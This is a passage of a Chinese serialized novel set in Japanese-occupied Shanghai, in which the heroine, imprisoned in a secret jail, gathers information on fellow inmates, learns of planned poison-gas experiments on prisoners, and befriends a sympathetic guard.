“应该是的吧。” ………… 在春妮试探着打入监狱中时,江浦学校的门口,来了个形似乞丐的臭婆子:“给我吃的……有个叫顾春妮的丫头,她说只要我到这来,就会有吃的!” 消息很快被递送到方校长耳边,他这几天到处打听春妮的情况,想进去探视她,却不管塞多少钱,都不得一见,这让他心里感到非常不妙。听见这个消息,方校长一跃而起:“人在哪?快带我去见她!” 第178章 178 提审 春妮出了一块钱, 请狱警们买来纸笔,像模像样地将狱友们的姓名,年纪, 籍贯, 家人,住址(如果有的话)以及所犯事由记录下来,说是留着出去后方便查访。 送纸给她的狱警眼睛在春妮的衣袋和手上打转:“小姑娘,你要是手上真有两个钱,我劝你还是买点好吃的,牢里日子难过。花一块钱买纸买笔,连个响都听不到, 何必费那事。” 春妮凑在气窗前,借着那点巴掌大的光埋头写字, 口中道:“牢里这么些叔伯姐妹都是苦命人,万一哪天有个不好,我给他记下来,也好知道底细。往后谁有福气出牢, 帮着带个话,叫其他人家里人来认, 也比没着没落的,当个孤魂野鬼的强。” 狱警哼哼冷笑:“反正不是我的钱,我也是烧的说胡话, 你爱怎么抛洒干我甚事。” 春妮在自己的这间牢房开了头,邻近的狱友们听说, 纷纷也求了过来。有些狱友们登记完基本信息不够,还有请春妮写几句话,说要带给家里人的, 春妮也都一一满足了。 只是她一会儿说孤魂野鬼,一会儿又要给家里捎话,这阵势摆起来,活似是在给犯人们写遗言,他们进来了就一定出不去了似的,弄得人人无端自危。 渐渐的,有流言在犯人中传开,说那些被提出去再也见不到的犯人全给倭国人害了,尸首扔到吴江里喂了鱼。他们还活着的人里,也不过多挨几日罢了,迟早也是喂鱼的命。 谣言往往滋生于暗处,他们住的这栋监狱不知原因为何,从来没有放过风,条件本来就很差。除了陈疯子等几个被频繁提审的犯人,有好些人从被转运到这 处监狱就被关在这,再也没出过门,连这里高有几层,房舍几间都不知道。 任由流言继续发酵下去,犯人们怕是要造反。不得以,狱警那边有人敲着牢门来安抚:“慌个甚慌个甚,那些人出了牢是给工厂干活,去的是好地方,”又说:“叫你们吃饭是送你们上工前让你们看上去好一点,也好不被工头嫌弃。真要送你们去死,把你身上扒光,往大街上一扔,你们以为你们这些穷鬼见得到第二天的太阳?还省了我们几顿饭。” 狱警们前半句话有多少水分不好说,后半句话,却神奇地说服了所有闹事的犯人。对这里的绝大部分人来说,住进监狱的确是件好事。 这是春妮在登记中发现的事:这里九成以上的犯人都是刚来海城不久,居无定所的流民或者外乡人。那些被放出去的人中,也基本都是这类人中的老人或是体弱者,总之,越是看上去没用的人,越有可能被放出去。 如此一来,像她和陈疯子这样被频繁提审,又不是在海城无根无基的人,就显得异常特殊了。 就在春妮想办法摸清监狱的底细时,黄婆子总算吃上一顿饱饭,还热腾腾地洗了澡,换了身新衣裳,将方校长等人引到了华界一个地方:“我是从这里出来的,顾春妮就在里头。” 这地方已经邻近郊区,方校长记得,以前是一些机器厂房。在海城会战中,这些重工业工厂都是倭军轰炸机的重点照顾对象。因此,这一片比他们学校后门还惨,前后方圆二百米都是一片废墟。 方校长站在原地,读出上面的字:“海城南部高等中学?这是间学校。黄婶子,你没记错吧?” “我才从那出来不到半天,哪能记错路?我记得顾春妮交代的,记错了,我就没饭吃了。”黄婆子想起来前在街角看到的卖烧饼的摊子:“你说我想吃啥都行,可别赖我的帐,我就要那个烧饼,不,要两个,三个吧,三个——” 方校长掏出两块钱,打发了黄婆子。 “什么监狱不监狱的,你弄错了,我们这没有监狱。快走快走!”守门人的话让方校长的心又是一凉。 他下意识去看黄婆子,对方拿到钱,早不知溜到了哪里。他来不及后悔,抬起头,已经看到了楼房某处窗口一闪而过的人影……里面人手握警棍,分明跟巡捕们有差不多的装备。 这是一处秘密监狱! 方校长掩住心中惊骇,在守门人再次来撵他的时候,赶紧快步离开。 回到学校之后,他将这次探到的消息通知了李铁柱和韩厂长等人。 “哎呀,”韩厂长想起了一件事:“这几天我去工部局办事的时候,听警务处原来的人说过,倭国人占领租界之后不断抓人,巡捕房的牢房早晚不够用。难道是因为这个,顾老师被转运到别处去了?” “那也不该招呼不打一声就把人弄走,这不像是转运,像是要干什么坏事不能叫咱们知道。” 李铁柱最激动:“这些倭国人他们把顾老师关在里面,肯定是想趁我们管不到,来个屈打成招栽赃陷害,咱们得赶紧把顾老师救出来。” “你想怎么救?” “咱们应该把这事登在报纸上,逼倭国人放人。” “不行不行,万一我们把那些倭国人逼急了,他们对顾老师不利怎么办?” 黄婆子被放出去,春妮想办法让她给学校带信之后,她暂时不再去想外面的事。她相信,只要她在这里的消息传出去,常文远肯定有能力找到这来。 她将跟自己和陈疯子一样的普通人挑出来单独分析,发现这些被关进来的人中,其他都是有一些小产业却在海城没什么根基的人,还有一些信誓旦旦,说自己一定因为跟某个人结了仇,被那人打击报复才关了进来。这些人无一例外,都被单独提审讹诈过钱财。 如果陈疯子在装疯之前说的“怀璧其罪”指的是有人惦记他的钱财,想关他进来敲诈的话,也不是说不通。 但这一切都只是她的猜测,组织有严密的规定,她想进一步行动,必须由常文远来甄别陈疯子,因为只有他掌握相关的信息最多,能够作出更准确的判断。 常文远不负她的期望,当天下午,春妮就被狱警提出去,说有人来探视她。 路上狱警盯着她不住打量:“行啊你,这关了这么多人,我还是第一个看见有人能打通关节见犯人的。你说你们这些有钱人就是闲的,没事去劫白云铠干什么,有那么手段了得的男人护着你,擎等着吃香喝辣不好?” 狱警们原先不知道春妮被关进来的原因,自从她跟黄婆子自曝之后,这件事也就不再成为了秘密。不知是否是出于这个原因,她才那样顺利地请狱警帮忙买到了笔和本子,后来又另外出钱让狱警带了几个包子,跟狱友们一道分了。 “我说了我没干。” 春妮循例反驳一句,听见狱警说“到了”,反手将她推进去,还关上了门。 屋里一张桌子两个椅子,其中一张椅子上坐着的人,春妮一看便笑了,在另一张椅子上坐下:“你果然找了过来。” 常文远吐出口中的口香糖,反手在桌板下摸索一阵子,粘住桌下的一个东西,道:“对不住,事实离我估计的有些偏差。我原以为那些倭国人最多让你在巡捕房多待一阵子,想办法结案之后就会放你出来,没料到他们破案的决心这么大,宁愿顶着压力让你被秘密转运关押,也要弄清真相。怎么样?这几天?” 春妮撸起袖子,两条白生生的手臂上连个疤都没有:“没受什么罪,是你帮我找了关系吧?” 她想来想去,认识的人中只有纳尔逊和连德江有这个能量,但前者现在处境也不好,后者嘛,不盼她早点死就不错了。唯独这个熟悉又神秘的常文远,他是最有可能会这样办的人。 常文远没否认:“这几天他们一直在找各种借口拖延,我原本以为巡捕房满员之后你就会被放出来。我这次来,一是为了看你,再来是告诉你,我们仍然在想办法。他们不会这么容易放你出去,你要做好较长的心理准备。如果有人问起你我之间的事,你就这么告诉他们——” “等等,在说这些事之前,我有件事告诉你。”她将声音放得很低很低:“我可能找到了陈皮。” 她快速将自己的判断说了,常文远凝眉:“你判断陈皮是被人误打误撞捉进来的?也不排除这个可能。但他的小组覆灭也是实情,这样吧,你等我再调查一段时间。川上这个人就交给我,我尽快会弄清他针对陈皮的原因,你在里面,记得小心一点。在我告诉你可以行动之前,你记得千万不要轻举妄动。” 牢房探视不能久留,说完最要紧的话,常文远立刻便告辞了。 在回到牢房的路上,春妮一直在思考常文远的话。对方让她不要轻举妄动,但她觉得,按照倭国人填满牢房的速度,说不定什么时候陈皮将会被再次转运或者放出去。在常文远调查完毕之前,什么情况都有可能发生。 而她的担忧很快成为了事实,常文远走后的第二天上午,狱警们又来叫人了:“陈疯子,跟我出来。” 春妮忙问:“陈大叔可以出去了?” 狱警怪笑了一声,没有答她。 春妮的心却沉了下去:一般情况下,对方这么笑,就说明她猜错了,陈皮即将面临又一次的转运! 第179章 179 数据 这时已经距离春妮开始统计牢中犯人信息过去了一天一夜。 在这一天一夜里, 牢房里又被塞进好几个犯人,满满当当地几乎无处下脚。 陈疯子死命挣扎,往人群里钻:“我不走, 我不走!” 狱警没留神, 竟被他挣脱,不得不进来抓他:“陈疯子,你是不是想找死?” 春妮往前站两步,将陈疯子拦在身后:“管教,陈大叔他不想走,你别勉强他。” 看在她出手大方的份上,狱警对她还算客气:“顾小姐你没看见?监狱里马上快没地方了, 他不走难道放别人走?” “可他是个疯子,”春妮装作没看出他们的意图, 恳求道:“你们让他连双鞋都没有,就被放了出去,他不是死路一条吗?” 狱警又露出那副怪异的笑容:“这个你就别操心啦,他去的肯定是好地方。” “他一个疯子, 能有什么好地方,轮不到别人去, 反而轮到他?” 狱警吱唔了一下,春妮立刻提高声音:“难道你们看陈大叔没用了,准备弄死他?我听说有些道门教会喜欢炼尸油丹药给贵人补魂, 你们是不是抓他出去,想炼了他?” 春妮心知, 想阻止狱警带走陈疯子,她必须争取尽可能多的犯人支持。 华国人最忌讳的就是客死异乡,死无全尸。那什么尸油丹药, 听上去就是又邪异又残忍,还耸人眼球的邪术。乱世怪谈多,这个年代打着邪教邪术骗人的会道门骗子多得是,他们主要行骗对象就是这些愚昧无知的下层人。别看这种话荒唐,实际找对洗脑对象,越荒唐越发让人深信不疑。 “你瞎说什么,”狱警忙喝道:“顾小姐,别以为你上面有关系就能随便说话,我不能把你怎么样!” 春妮拽着陈疯子后退:“是不是真的,你们自己心里清楚。不然我们这里这么多出狱的狱友,为什么从来没人提一句他们的去向?肯定是被你们卖了炼尸油!” 她转向牢里的其他狱友:“大叔大伯,你们多少说句话啊。再不说话,咱们都要被人给卖了炼成人丹,魂魄不全,下辈子都投胎是要当猪狗畜生的啊。” 在这里的确能混碗饭吃,有些人可能猜得出来,吃了他们的饭,可能命都会不是自己的,但当个饱死鬼跟下辈子也要当猪狗畜生可是两回事。 从春妮跟狱警对话开始,犯人们就在注意他们。此时听见春妮的话,顿时大哗:“什么?!” 在众人眼里,春妮识字,心还好,愿意花钱给狱友们做事写信,而那些狱警们平时是怎么欺负敲诈犯人的,都是有目共睹。 此时两方对峙,该信任哪一边,这不是明摆着的事? 有那性格暴躁些的,立刻跳起来逼向狱警:“她说得对不对?” “你们这些畜牲去死吧!” “……” 等到监狱大批人手赶到,将被困的狱警解救出来时,对方已经被踢打得快不成人形。 “滋滋滋滋滋”,儿臂粗的水柱从水枪中喷射而出,没一会儿,牢房中的每一个人身上都被浇得像落汤鸡一样浑身滴水。 头脑发热的众人终于冷静下来,瑟缩到了墙边。 白色的水柱肆无忌惮地扫射了至少十分钟,确保牢房里每个人从里到外都湿透,都瑟瑟发抖,人们再也不敢发出除了呻|吟之外的声音,才被关停掉。 这时,一名穿着土黄色制服的矮胖倭国人越众而出:“闹事?还有没有人接着闹?” 春妮见过他一两次,知道他是这座牢房的实际最高领导人川上。 川上并不负责她的案子,只是在她被审讯时,出现在审讯室外一回。春妮感觉到,他对负责审讯她的山本有一种奇怪的距离感,这种感觉有些像敌视,又有些像畏惧。 川上一番动作,镇住这些犯人的造反,正想再骂几句,挑个刺头出来杀一儆百,一个小姑娘说话了:“川上先生,我们只想知道你们想把我们弄到哪去。” 川上没看她一眼,头一甩,两个狱警狞笑着走向春妮:“你是个什么东西,也配让我们监狱长回答你?让爷几个好好教教你规矩。” 他们的眼神让人从心眼里生呕,即使是外人也看得出来,让春妮一个青春妙龄的小姑娘落在他们手里,必然会发生一些不好的事。 但现在所有人又冻又饿,被川上好一阵威慑,哪里有人敢出头为她说话? 眼看那两人将碰到春妮,她却脚步往旁边一滑,不知怎地,避开了那两人的触摸。在那两人发怒前,主动走出来:“川上先生,我想山本先生不会喜欢他的囚徒被粗暴对待。” 川上这才发现春妮并不是那些普通的流民,她的身上很干净,一点伤都没有。山本关她到这里时,川上也好奇过为什么他没有用刑,要知道,山本的残忍冷血,即使是远在秘密监狱的他都有所耳闻。他不动手,必然是跟谁达成了某种交易,或是有其他不得以的原因。 他要是坏了山本的事,自己也讨不到好。何况山本的犯人,的确也轮不到他来管教。 他冷哼一声:“顾小姐是认为川上不敢对你怎么样?” “不敢,”春妮苦笑:“我都被你们抓到这来了,还能指望你们什么都不做?但是咱们这里每天出去这么多人,一点消息都不传回来。大伙心里不安,想要个结果,这没错吧?” “你是在找我们监狱长的麻烦吗?”川上旁边又有人叫。 春妮没作声,但她跟川上对视,毫不相让。 “看来,顾小姐住了这么长时间的监狱,脾气还是那么差啊。” 二号房间是监狱的禁闭室,很多刚来监狱,没领教过厉害的刺头都被关进去过。 她道:“川上先生,我们有权知道这些事。何况,你们用冰水射击我们,要是传到国际社会,传到外面去,想必会对你们倭国人的形象会很不利吧?” 别看倭国人突袭了美国人在太平洋的海上基地,但他们采取的是不宣而战的手段。 按照春妮的猜测,倭国人目前很需要英美的资源,如果宣战的话,至少这些在华国的英美人都会自动成为他们的敌人,想要再通过他们获取资源,基本是不可能了。他们采取这样暖昧不明的态度,好让那些只想赚钱的墙头草不会彻底倒向自己的祖国。 因此进驻租界后,工部局和各要害部门只是增设了不少倭国人的席位,那些英美董事高层们仍然保有现在的地位。只是租界由以欧美人主导的高度自主自治,变成了需要看倭国人的脸色。 至少在春妮进来之前,那些英美人在倭国人面前说话不是一点分量都没有。而为了拉拢华国人共同对抗倭国人,那些英美人不敢谴责他们发动战争,便在倭国人对待华国人的态度,以及他们肆意抓人折磨华国人的手段上大做文章,也是用抨击倭国人来间接为自己贴金。 川上沉着脸:“顾小姐想威胁我?” “这不是威胁。还有,我们被冲了水枪,要是不管的话,很多人可能熬不过今天。死太多的人,对川上先生您也不好吧?”春妮平静地说。 “找个空房间生两堆火。”川上吩咐道。 春妮唇角微勾:“还有,吃得太少太差也会让大家生病。” “顾小姐不止脾气不好,还总摆不正自己的位置。”川上挥了挥手:“带她到二号房间,让她好好静一静。” 春妮不想把川上逼得太紧,至少这个时候还不想。 她并没反抗,只在狱警押住她时,自然而然回头招呼了一声:“陈大叔,我们走了。” 痴痴呆呆的陈疯子这时突然灵敏起来,傻傻笑着穿过众人,跟春妮站在了一起。 川上皱了下眉头,怀疑地盯着陈疯子看了看,但在看到对方一边傻呵呵地笑,一边将黑乎乎的,不知沾了么不明物的手指头放在嘴里咬时,心里一阵恶心,目光不自觉移开。 押送的狱警伸脚就要来踢陈疯子,春妮道:“他留在这里连口汤都抢不到,会被人欺负,只是个疯子而已,川上先生。” 川上不知出于何种顾虑,没有再反驳春妮,挥挥手,让人将他们两个押送了出去。 川上所说的二号房在最楼下的房间,应该以前是个地下室。 跟闹哄哄恶臭熏天的牢房相比,这里黑是黑了些,但很安静。偶尔楼上 有人走动,还有交谈的声音。 这些交谈的声音,有用倭国语的,还有用华国语的,大部分都是华国语。春妮早就发现了,这座秘密监狱中,除了做管理人员的倭国人之外,包括守卫在内,九成九以上的人都是华国人。 这座监狱的等级应该不太高。 陈疯子蹲在门口,似乎对门缝里透出的那一线光很感兴趣。 春妮将地下室的所有空间都检查了一遍,确认没有监听设备,走到陈疯子身边,蹲下来:“陈大叔,别装了,我知道你没疯。” 陈疯子双手放到耳朵上,“嗷呜”怪叫了一声:“大老虎,打老虎……” 通过这几天的试探和观察,春妮已经无比确定他精神没有问题。 “陈大叔,你总不能这么装一辈子,靠我保护你一辈子吧?”等他叫声稍歇,春妮又道:“你不想逃出去吗?” 陈疯子口中叫声不绝,拿手指点了点天花板的某一处,上面镶着一截铜管。 春妮虽然不明白铜管是什么,但她相信对方不会做无意义的动作。果然,他示意春妮伸出手,在她手上写道:“他们用铜管监听,附耳过来。” 两人达成默契,陈疯子低声道:“你有什么办法?” 春妮哪知道,她还要等常文远的消息。 她随口道:“还得找机会。”又问他:“那些人拉你出去,你为什么这么抗拒?在这里找不到机会,到时候不也一样能出去?” “当然不一样,”陈疯子顿了顿,“这里的流民全部都要被拉去倭国人在北方的毒|气室。真的被他们拉过去,十死无生。” 春妮不可思议:“这里是华国的东部沿海,他们隔着一整个华国拉这些流民去毒|气室做什么?真想拉人,北方不是已经被他们控制了吗?” 陈疯子以为她不相信:“他们以为我是真的疯了,说话根本没避讳我。那些人在拿华国人试药,计算一颗毒|气弹能毒死多少人,因此需要的不是一个两个,也不是一十二十的人,他们还想计算实验南方和北方人对毒气的耐抗力有没有什么不同。他们需要的,就是南方人。”【注】 春妮听得浑身发冷,真相竟比她胡扯的尸油丹药更加荒诞残酷,这些倭国人拿活人做实验,只是为了能够试出毒气的效果和有效范围。 这一监狱的犯人,竟在从踏入此地开始,就已经是个死人了。他们唯一的用途,便是为倭国人提供一串实验数据! 第180章 180 帮助 陈疯子说出的事, 连出身末世,见惯人间惨剧的春妮第一时间都不敢相信。 但仔细想来,没什么不可能。至少末世人明白人命宝贵, 不会随意伤害人命。 末世人不可能干的屠城, 在这个年代倭国人已经做了不止一桩。他们不在乎华国人的人命,不,他们连自己人的人命都不在乎,否则,成千上万的倭国平民奔赴华国战场,难道一个都不用死? “从几年前开始,海城街头流传流民百姓被当街掳掠贩卖给倭国人当奴隶, 敢反抗就砍手剁脚的谣言。原来这不止是真的,真相还更加不堪。”春妮平复了一下心情, 问道:“那大叔你打算怎么办?” 陈疯子摇了摇头:“走一步看一步吧,总之,绝对不能被他们抓上车带走。” “可是倭国人不会养吃闲饭的人,你躲得过今天, 躲得过明天吗?” 没等回答,陈疯子搓着手臂, 突然打了个大喷嚏。 春妮这才回神,对方和她被倭国人用水枪“照顾”,现在浑身上下都还是湿的。能够跟陈疯子单独对话的兴奋让她忽略了这个问题, 直到这时她才想起来:要是他们一直穿着湿衣服在小黑屋里待着,不死也是大病一场。 尽管川上答应为囚犯们生火烤衣服, 但那些囚犯们原本就是身体素质极差,还一天只能吃一顿饭的流民。经过这一场劫难之后,也不知会有多少人活得下来。 川上应该很忌惮负责审讯春妮的山本, 她拍着门叫了老半天,倭国人磨磨蹭蹭,到底给两人送来了一个炉子用来烤衣服。 说到山本,春妮想起,这个人最近起码有两天都没有来过了。不知道他是被别的事绊住,还是常文远救她出去的事有了转机。 红通通的煤球炉子燃起来时,春妮伸出手,和陈疯子两人同时舒了一口气。 脱下的外衣罩在炉子上,很快冒出腾腾的白色水蒸汽,春妮顺手在衣兜里摸了摸,掏出两个番薯放到炉膛下边的煤灰里烘烤。 没一会儿,番薯熟了。 春妮将它们扒出来,用手剥开外皮,金黄的番薯瓤分泌出如蜜的汁液,看着诱人极了。 “咕嘟”,陈疯子吞了吞口水。 春妮也吸了吸口水:在监狱里关了这么些天,每天只能靠吃糖和巧克力补充能量,还要小心翼翼背着不让人发现。现在,连这颗不到巴掌大的小番薯在她眼里都成了人间美味。 在这一刻,春妮对倭国人的憎恨达到了顶峰:都是这群王八龟孙子不干人事,害她连吃口番薯都要偷偷摸摸。 在末世的时候,春妮不知道什么是安定,什么是美食。而这一切在她人生的前十二年都是轻易拥有的东西,拥有了再失去,才是最可怕的。 她该怎么跟陈疯子解释这颗番薯的事也挺伤脑筋,但她不想在这里生病,只能冒险吃点热食多补充一些能量。 春妮迫不及待地咬了一口,将另外一个扔给陈疯子,幸好对方不知是顾忌铜管监视的事,接过番薯狼吞虎咽,连番薯皮都没放过。 他进这所监狱的时间远早于春妮,因为后来装疯,他比所有狱友吃得更少,有时甚至没饭吃。要不是春妮来后照顾了他几天,说不定不用倭国人弄走他,他已经死在里面了。 那颗小小的番薯让两人的胃快速地被安慰被取悦,大餐一顿总会使人的戒心降低一点。 春妮揉着肚子问陈疯子:“他们不是在抓流民吗?为什么会拷打囚禁你?” 没想到陈疯子很轻易地就给出了回答,他苦笑了一声,长叹道:“匹夫无罪,怀璧其罪啊。” 陈疯子说,他原先在街对角那开了间洋货铺子,四年多前,因为倭国人占领海城,导致局势越来越乱,他的一位洋人供货商找到他,想低价处理手里的一批货好凑足回国的路费,这批货中就包括了西药金鸡纳霜。 陈疯子原本不是开药铺的,可那个洋人是他朋友,他为人一向急公好义,用手里所有的钱买下了朋友的药。他以为这批药就此会积存在手里成为垃圾,没想到后来租界大封锁,金鸡纳霜是治疟疾的专用药,各类物资奇缺,他手里的金鸡纳霜成了奇货,卖出了比进价高达至少百倍的价。 陈疯子是有历练的人,他知道自己手里这批药如果让人知道后肯定会引人眼馋,他卖药的时候很注意很小心。但他本来就不是卖药的,再者,任何一样生意做足四年,也不可能一点口风都传不出来。 三个月前,他被人抓到了这所位于郊区的秘密监狱,对方不止从他口中拷问出了剩下药品的去向,还逼迫他献出所有的家底保命。他不答应,对方便将他关起来天天毒打折磨。 “我说我什么都没有了,他们非不信。要是不装疯,哪里还有活路?”陈疯子用这句话为他本次的大劫难作了结语。 “装了疯,也没有活路。”春妮补刀。 按照陈疯子的说法,他被抓起来,跟他暗中的身份没有丁点关系。这句话的可信度先打个疑问,但对方如果真的是看上了他的财产和药的话,现在已经掠夺完毕,把他装上车送往北方做人体实验,这可能是他在倭国人眼里,最后仅剩的利用价值。 陈疯子自我解围道:“我不是唯一一个被他们盯上的。在你之前,我们牢里的吴老头,他是卖火油的,也被抓了进来。倭国人想要他手里的火油方子,又怕老头熬不住 刑,才没有像对他跟对我一样上重刑。不过,我看吴老头也撑不了多久了。” 春妮沉默下来,吴老头这几天晚上咳嗽得很厉害,从他的痰音来看,她怀疑他得了肺病。她曾经跟狱警说过,狱警请了个蒙古大夫来过一回,也没了下文。若是放任下去,这一牢房的狱友迟早会中招。 陈疯子问她:“还没问顾小姐,你怎么会想要帮我?” 春妮自有话搪塞他:“不想看到有人死在我面前,能伸手帮一帮,就帮了。” 陈疯子看着她,若有所思,不知信没信。 春妮也不关心。 她不是天生的善人,从不否认自己做事的目的性一直很强。常文远说过,这件事交给他来弄清楚,她就不会插手。 有人依靠是件好事,这件事春妮已经尽到了通报的责任,她没必要逞强做到样样最好。 因为陈疯子的特殊性,现在她要做的,就是养精蓄锐,在陈疯子面前不曝露自己,顺便保护好他。 想明白道理之后,春妮取下被烤干的衣服,穿上之后靠在炉子边躺了下来。 跟那几个男人混迹在一个牢房里,春妮没睡过一个好觉。现在有了这个机会,自然不能轻易放过,她得抓紧时间补个眠。 陈疯子盯着春妮看了会儿,也翻身躺下。 一个晚上的时间悄然流逝。 关禁闭的确能攻破大部分人的心防,但偏偏这一晚在这里的两个人都不是常人。 早上,春妮是被一大串钥匙碰撞的声音吵醒的。 “倭国人来放我们出去了。”陈疯子低声道:“出去之后,我告诉你的话,你不要再说出去。” 春妮略一思索,就明白了陈疯子的意思:这些囚犯们不是倭国人的对手,即使让他们知道自己的命运,也无法反抗。就像昨天,春妮只是稍微挑动了一下双方对立的火苗,立刻被川上粗暴无情地浇灭了。 对方无所顾忌,不在乎他们的性命,只要有人不听话,倭国人便会不择手段地镇压。在这样的情况下,他们反抗不断会加快自己的灭亡,更会增加陈疯子曝露的可能。 她闷闷道:“我明白。” 她嘴里“明白”,实际心里很不舒服:有陈疯子的这席话,春妮想起牢房里的狱友,总觉得他们就像圈里待宰的猪一样,卧在圈里等喂食,茫然不知最后的屠刀即将挥下。 人世间最悲哀的是什么?你已经看到了结局,但你什么都做不了。 对了,还有,猪都没有他们吃得差! 春妮心情一差,立刻带在了脸色上。 来放他们出去的倭国人看见春妮的黑脸,满意地笑了:“顾小姐,二号屋的滋味很不好受吧?” 春妮哼了一声,转身离开。 回到牢房,看见横躺了一地的狱友。她挨个问过去,果然,被川上的水枪一浇,当天晚上有好几个人发了烧。 倭国人自然是不会管的,这些人被扔在恶臭冰冷的地上,就这么干挺了一个晚上。 有几个人嘴唇起白,已经说起了胡话。再不管的话,只怕连今天都挺不过去。 这座更像猪圈的监狱其实每天都在死人,包括春妮住的这一间。她进来的当天,亲眼看见一具尸体被抬出去。 不,那还不能被称之为“尸体”,那个人被抬出去时,春妮分明看到,他的胸膛还在微微起伏。但在这里,只要他哪天爬不起来,就是个死人了。 但这些人昨天遭受的厄运是由她而起,她不能坐视不理。 春妮自认为是一个有点智慧和胆略的普通人,但在面对这些完全没有人性的倭国人时,她迷茫了。对方没有软肋,也就是没有谈判的可能。 想让他们为自己办事,只有掏钱贿赂。可这样做的话,又跟陈疯子拿钱买平安有什么两样?这些人就像吸血而生的水蛭一样,只要抓到她有一点敲诈的可能,就会死咬住不放。 她出钱帮助了这些人,很有可能把自己也带进沟里。 上次她只是出了点小钱请狱警们买了点东西,那些狱警们看见春妮,眼睛里都直接闪着金子的宝光。还有两个乘人不备想骗她出牢房,一看就不会有好事。春妮记得山本才是有资格提审她的人,任他们再怎么威胁,在狱友们的帮助下,也没有踏出监狱一步。 这些人的医疗费不会是个小数,她就算有能力支付,全部掏出来,也只是徒劳引人贪欲,将其贪墨,对狱友们的治疗没有半点好处。 春妮思来想去,出了八十块法币,合计四块钱大洋,请狱警帮忙熬了一桶姜汤,让那些狱友们喝下再说。 即使只出了这一点钱,春妮也感觉到,狱警们巡视到她这间牢房时,总会有意味不明的目光向她注视。 这一点,连春妮同个牢房的狱友都注意到了。 “顾小姐,你这两天留点神,”刘昌盛挪过来,低声对春妮道:“我看鸡蛋壳看你眼神不对,怕想对你下手。” 他说的鸡蛋壳,指的就是那位刚刚从他们牢房走过去,脑门亮得像鸡蛋壳的狱警,他是华国人。听来得久些的狱友们说,这个人巴结倭国人,整治华国人是最积极的,是倭国人最大的狗腿。 那些倭国人有想做的事,一般会通过他来向华国人指示。 但最近两天—— “刘叔,我怎么感觉,这几天鸡蛋壳没有像以前那样,跟倭国人走得那么近了?” “认识到自己不如狗的地位了吧。”刘昌盛兴灾乐祸地笑道:“昨天当着我们的面,他被川上甩了好几个大嘴巴,丢大面子了,没处撒火呢。你小心些。” “我不是说这个,”春妮道:“像他这种人,汉奸都能上赶着当,那点面子又值个什么?我是觉得,怕是他们之间有什么事发生,不然你看,他每回都巴在那几个倭国人身后巡监,这回身边却换了人,你看能不能打听到原因。” 刘昌盛为人讲义气,进来不过三四天,就团结了大部分狱友,还认了邻近几个牢房的狱友当老乡,消息来源是他们这一间牢房里的人最广的。 刘昌盛答应下来,并很快带来了原因,兴灾乐祸道:“那几个倭国人前几天抓了一个老头进来敲诈,没想到那个人是鸡蛋壳的舅公。鸡蛋壳舅公全家找到他,求他把人捞出来,那几个倭国人不答应,鸡蛋壳跟他们争吵,还被收拾了。看见他脑门上的红印没有?那就是被倭国人用枪托敲的。” “这些华国狱警是不是经常被倭国狱警欺负?” “那还用说?我兄弟说了……”刘昌盛又扒拉扒拉跟春妮说了好几个类似事件。 春妮心里有了数,又叫刘昌盛打听,这些华国狱警中,有谁是被倭国人欺负得最厉害的,又有谁,最后,一个名字落入她的视线——牛二娃。 按狱友们的说法,牛二娃在来海城闯生活之前,就是个地道的农村小子,大字不识一个。后来他家乡遭灾,被族叔带到海城加入了青帮——没错,这个时候,青帮已经有一部分投靠到了倭国人这边。 他加入青帮之后,被帮会前辈指派到这座监狱当狱警。这也是这座监狱里大部分华国狱警的来源,他们知道自己在给倭国人做事,可出身和学识的限制,只能让他们意识到这可能不太好,但为了有条活路,多挨点骂做份工很合算。 牛二娃因为脑子轴,说话还不好听,得罪了不少人,经常被人欺负捉弄。 这里的人捉弄人可不是学校里放蛇放虫,往椅子上涂胶水这种小恶作剧。 牛二娃在这里被戏弄关过禁闭室,被滋过水枪,被吊过光猪,还被迫光着身子在院子里绕圈跑……种种种种不胜枚举。有几次,狱友们听见他背着人偷偷哭,有人看不过眼,跟他说过话,安慰过他。 牛二娃也给要好的狱友们带过东西,并不从中抽成,是狱警中对犯人们最好的一个。 春妮听着听着,眼睛慢慢亮了。华国人这边不是铁板一块,难道汉奸和倭国人就是磁实铁杆的一条心? 她让狱友们帮忙带话,说有事请牛二娃帮忙,在当天晚上见到了他。 这是个朴素憨厚的青年,单从他的外表,根本无法把他跟那些汉奸坏人联系起来。 春妮用托他代买些油茶面为由,跟他搭上了话。 油茶面用干面粉加点糖和坚果炒制而成,最适合他们这些犯人带在身边吃两口补充营养。 牛二娃果然是个憨厚的人,春妮一口气托人带十斤,他只犹豫了一下,说十斤太多,他没法子避着人将面带进来。在春妮答 应说,可以分数次带进来之后,他立刻便答应了,还推拒了春妮说的付给他的辛苦费。 “我有饷钱,你要是有多的,我多买点面给你带进来。牢里这些叔爷们过得苦,多的请他们吃。还,还有你,小姑娘家的,可苦着这些日子了吧。” 春妮心里更是满意,又引着他问了些别的话,将他家里的情况人员都了解得差不多了,忽然问他:“二娃哥,你也觉得我们过得苦?” 牛二娃点了下头,忽然像想起什么似的,警惕道:“你问这个干啥?我就是个小看守,啥也做不了。” 春妮一脸委屈:“二娃哥说啥呢?我能干点啥?我是还有个忙想请你帮帮。放心,不会让你为难。” “不为难?” “不为难!” “那……那你说吧。” 180-190 第181章 181 目的 依牛二娃在监狱的地位, 他也帮不了什么大忙。 春妮叫他,只为了搭关系,本也不是为了真的求他做什么事, 因而只求他帮自己另外带了两顿外面卖的饭, 好话不要钱地跟他说。 这个年纪的小姑娘原本就最招人待见,何况牛二娃没怎么见过世面,春妮又刻意奉承,两顿饭下来,牛二娃已经很愿意跟她说些心事。 慢慢的,两人说到他天天被人欺负捉弄的事上,春妮教他道:“整个监狱里都听倭国人的话, 你别理那些使坏的华国人,找个倭国人给你当靠山。” 牛二娃愁眉苦脸:“我也想啊。可那些倭国人要么不理人, 要么说鸟语,我能巴结谁去?谁会把我一个乡下小子看在眼里?” 春妮如今有一整个监狱的犯人当耳目,消息比牛二娃灵通多了。指点他道:“我今天看到小林楼长,他似乎有些上火。你买二两杭白菊菊花茶送给他, 让他喝了清火,他肯定会记住你。” 这座监狱里只有狱长, 副狱长,以及每层楼的楼长,还有两名负责后勤的员工是倭国人, 其他的全是华国人,而小林楼长正是牛二娃的顶头上司。 牛二娃为难:“啥?买茶?我哪有那个钱?”这座秘密监狱说到底只是外围机构, 资金有限,连狱警都只能请到青帮外围子弟,怎么可能发出多少薪水? 正因如此, 这些狱警们占据地利之便,才会一有机会便找准有钱没根基的商铺老板下手讹诈,也算是开辟第二职业。 春妮自然不会让他为这点事绊倒,给了他一点钱,指点他买完菊花,又买了些清肝下火的药材,嘱咐他送给小林煎服。 